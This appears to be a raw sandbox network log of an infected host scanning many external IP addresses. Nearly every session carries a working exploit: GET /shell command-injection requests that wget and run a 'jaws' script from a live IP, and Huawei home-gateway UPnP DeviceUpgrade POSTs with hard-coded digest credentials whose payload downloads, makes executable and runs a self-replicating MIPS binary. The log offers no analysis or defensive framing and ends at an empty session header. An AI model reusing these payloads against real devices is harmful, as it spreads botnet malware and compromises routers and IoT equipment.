Oct 14, 2024 17:30:17.168366909 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	48158	60.101.27.239	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.168885946 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	39786	40.127.107.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169044971 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	41292	173.156.218.62	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169075012 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	41964	153.198.51.111	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169090033 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	35126	98.202.235.68	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169162989 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	48538	86.234.55.246	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169162989 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	47880	199.174.142.92	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169246912 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	36988	54.4.91.47	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169284105 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	43942	166.177.227.239	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169298887 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	59812	36.146.68.68	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169379950 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	46638	84.112.120.151	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169399977 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	41888	59.200.251.230	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169433117 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	40452	144.126.212.192	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169512987 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	51812	128.159.116.3	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169523001 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	56312	140.226.234.176	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169586897 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	49520	208.88.254.216	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169591904 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	42986	193.175.163.210	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169684887 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	36460	155.88.247.4	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169698000 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	58962	85.226.66.251	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.169758081 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	43402	197.94.41.159	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.173846006 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	40568	41.218.16.219	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.179225922 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	59270	156.237.129.243	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945513964 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	42288	41.40.225.91	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945519924 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	36518	41.35.31.202	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945569038 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	54508	41.58.125.19	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945604086 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	57246	41.224.81.106	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945646048 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	44414	41.216.13.36	37215

Timestamp	Bytes transferred	Direction	Data
